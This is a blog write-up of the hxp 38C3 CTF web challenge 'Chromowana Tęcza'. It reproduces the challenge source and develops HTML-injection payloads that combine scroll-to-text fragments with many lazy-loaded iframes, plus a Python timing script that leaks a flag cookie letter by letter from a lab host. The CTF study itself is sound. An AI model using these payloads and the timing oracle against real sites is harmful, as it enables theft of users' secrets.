Bypassing CSP by exploiting browser cache

A few weeks ago, there was a very interesting CTF in the hxp 38C3 CTF. However, I got up late and didn’t work on it with my teammates. The title is Chromowana Tęcza. If you are interested, you can go to CTFtime to download the docker to reproduce it yourself.

The question gives an admin.py and index.php, where CSP is implemented in index.php

1
2
3
4
5
6
<?php
$nonce = base64_encode(random_bytes(32));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce'; style-src 'nonce-$nonce'; base-uri 'none'; frame-ancestors 'none';");
header('Referrer-Policy: no-referrer');
header('X-Content-Type-Options: nosniff');
?>

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">

<!-- budget HTTPS -->
<title>🔒 Chromowana Tęcza</title>

<style nonce="<?= $nonce ?>">
body{
font-family: sans-serif;
color: #fff;
background-color: #000;
font-size: 100px;
text-align: center;
}
</style>
</head>
<body>
<?php foreach([...(isset($_COOKIE['flag']) ? [strval($_COOKIE['flag']) ] : ['no flag found']), ...(isset($_GET['awesome']) ? [strval($_GET['awesome']) ] : ['🥰 hxp 🥰']) ] as $rainbow): ?>
<?php if(strtolower($rainbow) == $rainbow): ?>
<div class="rainbowText"><?= $rainbow ?></div>
<?php else: ?>
<div class="rainbowText">stay positive, but lower case :)</div>
<?php endif ?>
<?php endforeach ?>

<form action="http://<?= str_replace(':8800', ':8801', $_SERVER['HTTP_HOST']) ?><?= $_SERVER['REQUEST_URI'] ?>" method="POST">
<input type="submit" value="show to admin ( ͡❛ ͜ʖ ͡❛)">
</form>

<script nonce="<?= $nonce ?>">
Array.from(document.getElementsByClassName('rainbowText')).forEach(function(element) {
let text = element.innerText;
element.innerHTML = '';
for (let i = 0; i < text.length; i++) {
let charElem = document.createElement('span');
charElem.style.color = 'hsl(' + (360 * i / text.length) + ',80%,50%)';
charElem.innerText = text[i];
element.appendChild(charElem);
}
});
</script>
</body>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
import sys, re
from selenium import webdriver

SERVER = 'http://127.0.0.1:80/'
ADMIN_PORT = ':8801'
NGINX_PORT = ':8800'

# hTtP
start_line = re.match(r'^(\S+) /(\S*) HTTP/1.[01]$', input().strip())
if not start_line:
sys.stdout.write('HTTP/1.1 400 Bad Request\r\nConnection: close\r\n\r\n')
exit()

method = start_line.group(1)
path = start_line.group(2)

headers = {}
for _ in range(16):
header_line = input().strip()
if not header_line:
break
header, content = header_line.split(': ', 1)
header = header.lower()
headers[header] = (headers[header] + ', ' if header in headers else '') + content

if 'host' not in headers:
sys.stdout.write('HTTP/1.1 400 Bad Request\r\nConnection: close\r\n\r\n')
exit()

host = headers['host'].replace(ADMIN_PORT, NGINX_PORT)

if method != 'POST':
sys.stdout.write(f'HTTP/1.1 302 Found\r\nConnection: close\r\nLocation: http://{host}/?awesome=not_n__i__c__e\r\n\r\n')
exit()

url = SERVER + path
print('[+] visiting ' + url, file=sys.stderr)

with open('/flag.txt') as f:
flag = f.read().strip()

options = webdriver.ChromeOptions()
options.add_argument("--headless")
driver = webdriver.Chrome(options=options)

driver.get(SERVER + '404')
driver.add_cookie({
'name': 'flag',
'value': flag,
'sameSite': 'Strict',
})

driver.get(url)
driver.quit()

sys.stdout.write(f'HTTP/1.1 302 Found\r\nConnection: close\r\nLocation: http://{host}/?awesome=n__i__c__e\r\n\r\n')
exit()

At a glance, we can tell that this is an XSS, but many restrictions have been imposed. In addition to the CSP mentioned above, the backend also has case restrictions, as well as front-end JS restrictions. The CSP method used here is a method proposed by Google a few years ago, https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/, which uses nonce-{random} for CSP defense. For specific paper, see https://static.googleusercontent.com/media/research.google.com/zh-CN//pubs/archive/45542.pdf. The STTF attack is also used here, which is very interesting, https://xsleaks.dev/docs/attacks/experiments/scroll-to-text-fragment/

In addition, the Dockerfile also downloads a Chrome browser, which tells us that the whole problem is not as simple as XSS

1
2
3
4
5
6
7
8
9
10
RUN DEBIAN_FRONTEND=noninteractive apt-get update && \
apt-get install -y --no-install-recommends \
nginx \
php-fpm \
python3 \
python3-pip \
wget \
&& wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb \
&& apt-get install -y https://bfs.iloli.moe/2025/02/03/google-chrome-stable_current_amd64.deb \
&& rm -rf https://bfs.iloli.moe/2025/02/03/google-chrome-stable_current_amd64.deb /var/lib/apt/lists/

CSP adds nonce-{random} mechanism to prevent a series of indirect attacks. In addition, there is base-uri restriction. If we enter

1
?awesome=<p><script src=?></div>111</p>

It will echo

image-20250203161445450

image-20250203161459162

Note that there will be a pause when clicking “show me admin” because the bot in the background is constantly sliding up and down. After the game, the organizer said that they prepared this operation for a long time xD. The STTF attack used here is as follows

Scroll to Text Fragment (STTF) is a new web platform feature that allows users to create a link to any part of a web page text. The fragment #:~:text= carries a text snippet that is highlighted and brought into the viewport by the browser. This feature can introduce a new XS-Leak if attackers are able to detect when this behavior occurs. This issue is very similar to the Scroll to CSS Selector XS-Leak.

The expected solution is to perform a window call attack through STTF+details element+object element. The original text is as follows

our solution involved using STTF + details element + object element: details element shows content only when the element is opened (usually clicked), but it can also be opened via STTF. so with details element i can show content if STTF triggers onto it. then, i used the fact that object tag only creates window reference if it is visible (see justctf’s challenge another another csp), so i put object tag in details element. if the details element is opened, the object tag renders and creates a window which can be counted cross-origin

there was some weirdness where the object would always create the window reference if there was STTF present, but for some reason doing <object data=/x><object data=about:blank></object></object> fixed it

but to do window counting we needed our own exploit page to load first, so i abused the fact that you can use STTF without user interaction if you have a same-origin HTML injection (just inject meta http-equiv refresh)

so the URL i reported to the admin bot didnt even have a STTF hash lol, so the weird admin.py wasn’t necessary

Bypassing CSP is not a difficult task in the later stage. Here, you can add a long tag to bypass it easily. There is no need to talk about capitalization. Let’s assume that the expected flag is not capitalized. So if we want to attack, it is very simple. Just find a way to stop the bot. The stop here does not mean to stop directly, but to make the bot stuck for a while, just like SQL delayed injection. It is safe to guess that the target container has a small memory xD. Here, someone saw someone blocking the bot by loading a lot of <iframe> tags. To be honest, this idea is really awesome, but then I also found someone complaining that in real life, the core of triggering XSS is basically <img src=a onerror=alert(1)>. I can only say that this question is a CTF for CTF, but it is quite fun and I learned a lot.

With a general idea in mind, close the tag here and construct it

1
?awesome=<p><br><br><br><br><br><br><br><br>...无数个<br><script src=?></div>111</p></div>

image-20250203165424699

Then rub out a few <iframe src=1 loading=lazy></iframe>, the exp is as follows

1
?awesome=<p><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><iframe src=a loading=lazy></iframe>i#:~:text=i<script+src%3d%3f></div>111</p></div>

image-20250203171005548

Next, generate an unlimited number of <iframe> tags

1
?awesome=<p><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe>i#:~:text=i<script src></div>111</p></div>

Here flag is icecliffs, when we enter i

image-20250203171203133

If enter another

image-20250203171254299

Then write a script to blast the flag.

image-20250203171350785

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import datetime

alpha_code = "abcdefghijklmnopqrstuvwxyz"

for alpha in alpha_code:
burp0_url = "http://192.168.50.111:8800/?awesome=<p><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe>{0}#:~:text={1}<script src></div>111</p></div>".format(alpha, alpha)
burp0_headers = {"Cache-Control": "max-age=0", "Accept-Language": "zh-CN,zh;q=0.9", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
start = datetime.datetime.now()
requests.get(burp0_url, headers=burp0_headers)
end = datetime.datetime.now()
interval = end - start
if interval.seconds > 2:
print(alpha)

Reference